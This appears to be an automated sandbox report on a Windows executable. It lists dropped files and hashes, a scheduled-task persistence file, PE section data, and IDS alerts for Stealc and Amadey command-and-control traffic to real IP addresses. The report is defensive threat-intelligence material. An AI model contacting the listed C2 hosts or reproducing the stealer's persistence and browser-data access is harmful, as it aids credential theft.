Preview:	L..................F.@.. ...$+.,......`..>..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IxY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VxY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............p.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsCBFBKFIDHI.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1881088
Entropy (8bit):	7.949263891885973
Encrypted:	false
SSDEEP:	24576:7sK8LXOfFyi7iFo3mV1V5GlCqjS8ZpZUNmYc1QO758iFt1pXE6ZE4qoPpNq:7s3zKYi7iFUmV1yCqe8quV8iT06LN
MD5:	ADD4BF165F7138D46D9FB140A1237B9B
SHA1:	6AEE0AA45EC0CAC927F48EED41213D07ACE05E81
SHA-256:	5358EEC7605247602552DECA5B148BFD9E5C9880DCB09991E0DE9885D095653B
SHA-512:	08B581B5D9473C725AA33FE26F07CF291016B5F738A3A262E41D11CC2E0EDBB25BF4CAFD4A2859D30525CA90A46EEEDDF03F2160053E96D65DF5BFE8988742E0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J.....}.....@.................................W...k.......D................... eJ..............................dJ..................................................... . ............................@....rsrc...D...........................@....idata ............................@... . *.........................@...iqclzlke......0.....................@...yhvedyov.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsCBFBKFIDHI.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4109158752825035
Encrypted:	false
SSDEEP:	6:u5Kt35EX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lB9ll3evEt0:gI3kuQ1CGAFifXVBHVect0
MD5:	9FA7D6410EF5FA856BF05F47BF99F6DE
SHA1:	B978A5A27A0D434C69C8885CB1B3D82526884939
SHA-256:	825CEF5CEDFEBACDA2B4552E039CC0AC99F9F8711BFBE988213CD0809036F9AC
SHA-512:	FDBA8B9EBB5FCAD3024A0692E9B18E2079A61295BEC77E0A9BDF92E522AD90D6ECB10C1874462B92F37FDB13C712E14F1109F2747E2E54A4AF9DD3D6B8860092
Malicious:	false
Preview:	....\.K..~?@...wA[..F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3482)
Category:	downloaded
Size (bytes):	3487
Entropy (8bit):	5.815406353279182
Encrypted:	false
SSDEEP:	96:L2GfoliyIN6666Wt1D6KSL3sqgWund4T5Tac81kzrpm9cfffffo:86N6666Wn68/98TPm9D
MD5:	900BD8E2ECAEFDA6282622B3FCC763C7
SHA1:	C32B89FC516854BD78B3C06DDCDB6C8EF853B144
SHA-256:	3D1D8089C3EE50062675CA3EE564E848036D45E2CC31CC7CF14363B900D45389
SHA-512:	E703C6E47946A73775021BB1050DE70E024D6498A345CDFD437EBE90784FC1130B1DD3C4DE5CA8086F7AF99AFA08CB9A640CB06D991FBC1314EB94B07C429475
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["chicago bears","blue lagoon iceland volcano eruption","xrp price prediction november 23","gladiator ii streaming","storybook vale disney dreamlight valley","streaming movies","new england patriots miami dolphins","karaoke stars monopoly go rewards"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"CggvbS8wMXkzdhINRm9vdGJhbGwgdGVhbTLPDmRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBUUFNQkVRQUNFUUVERVFIL3hBQWJBQUFDQWdNQkFBQUFBQUFBQUFBQUFBQURCQUlGQUFFR0IvL0VBQzBRQUFJQ0FRUUFBd1lIQVFBQUFBQUFBQUVDQUFNUkJCSWhNUVZCVVJOaGNZR1JzU0lqTWxLaHdkRVYvOFFBR2dFQUFRVUJBQUFBQUFBQUFBQUFBQUFBQXdFQ

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132965
Entropy (8bit):	5.434920435480998
Encrypted:	false
SSDEEP:	3072:fPkXyPqO7UX1Hme9kZbs4Voc5QSnXqwQ2i6o:fwyWFHrp4Voc5QSnawQ8o
MD5:	A3845EEFDE221AF8711689490F1EB4C6
SHA1:	152C8E3C94BA26A871960620B433A63B90B5B50A
SHA-256:	F22850297EDAB4CBB93B4304F05B340574663F10D5C333635A485030BB9AC2E8
SHA-512:	ED0E43DAD73A51260145DABF19FDE8133F3CBFC691AA460891249C18FEB1171D0B748A1F2269AB7C179FFFA5E4D0437D231A3B4A8F2212F8A2DDF09CFCC5C08D
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945058422770139
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'789'952 bytes
MD5:	6467f0b3f7c25edc1259d28371015177
SHA1:	3fbde0653380909d0a4a35c032c9fe80131c0925
SHA256:	32ebf905a6ed43b5e163ba71f7a836fd3b6d2f866c18294278cb86e85ec01a3c
SHA512:	b88fe4f81932f235691e1f0a3a1b8b69e5dc747b04d5838b907bb477fc7aa9c49673db9149b693c94f9814d9f138bdfeb391ac3ef6c0a78bb80d87c3ed86a651
SSDEEP:	49152:vJndr40nWKw3+bFOVNCJdBiM3VAXJkUrUwIo:D40rQ2BiM3aZdryo
TLSH:	E48533454D70A9D8C5DD43F42883DBDF9FA1BBBBFD9C08522BBE47244462AE8D89210D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa8c000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FEC7D00E33Ah
ucomiss xmm3, dqword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	0e4ae1b18cc482d6311ec353c5af966e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	77a084505961eac25eca895531f092a5	False	0.796875	data	6.043634747712235	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a3000	0x200	d1e869e3552d63720f9fee8338f2c83b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vadppzyc	0x4ef000	0x19c000	0x19b200	0d853193ccf90545958981eadb1ba349	False	0.9946578557312253	DOS executable (COM)	7.953724978034687	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
netrwjfr	0x68b000	0x1000	0x400	b638a9aa078eee639897aa6d02263e4a	False	0.8515625	data	6.416180578649663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x68c000	0x3000	0x2200	7f55cf23a4a828edac51db3d75d95c32	False	0.06698069852941177	DOS executable (COM)	0.7352847210003074	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x689ec8	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-24T23:24:06.005997+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-24T23:24:06.464739+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-24T23:24:06.585965+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-24T23:24:06.924967+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-24T23:24:07.054709+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-24T23:24:08.506896+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-24T23:24:09.228052+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-24T23:24:31.949577+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-24T23:24:33.949974+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-24T23:24:35.371300+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-24T23:24:36.498113+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-24T23:24:40.771045+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-24T23:24:41.937408+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-24T23:24:48.835722+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49885	185.215.113.16	80	TCP
2024-11-24T23:26:06.724528+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	50079	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 23:23:57.339828014 CET	49674	443	192.168.2.5	23.1.237.91
Nov 24, 2024 23:23:57.339845896 CET	49675	443	192.168.2.5	23.1.237.91
Nov 24, 2024 23:23:57.464798927 CET	49673	443	192.168.2.5	23.1.237.91
Nov 24, 2024 23:24:03.967883110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:04.087699890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:04.087877035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:04.088176966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:04.207772017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:05.494160891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:05.494313002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:05.538913012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:05.658474922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:06.005853891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:06.005996943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:06.007781029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:06.127259970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:06.464512110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:06.464582920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:06.464739084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:06.464788914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:06.466476917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:06.585964918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:06.924824953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:06.924844027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:06.924856901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:06.924869061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:06.924880981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:06.924892902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:06.924967051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:06.925021887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:06.933010101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:06.933131933 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:06.935282946 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:06.949148893 CET	49674	443	192.168.2.5	23.1.237.91
Nov 24, 2024 23:24:06.949732065 CET	49675	443	192.168.2.5	23.1.237.91
Nov 24, 2024 23:24:07.054708958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:07.074253082 CET	49673	443	192.168.2.5	23.1.237.91
Nov 24, 2024 23:24:07.391825914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:07.391910076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:07.409305096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:07.409347057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:07.528831005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:07.528873920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:07.528882980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:07.528942108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:07.529010057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:07.529047966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:08.506815910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:08.506896019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:08.773556948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:08.893131971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.227925062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.228051901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:09.228106022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.228151083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:09.233253002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.233318090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:09.233397961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.233447075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:09.237615108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.237673044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:09.237751007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.237804890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:09.245968103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.246037960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:09.246069908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.246210098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:09.254380941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.254439116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:09.254513025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.254563093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:09.262706041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.262793064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:09.366993904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.367027998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.367134094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:09.371140957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.371203899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:09.371248960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.371290922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:09.379549026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.379611015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:09.379650116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.379695892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:09.387996912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.388056993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:09.388108969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.388164043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:09.396289110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.396363020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:09.396409988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:09.396455050 CET	49704	80	192.168.2.5	185.215.113.206
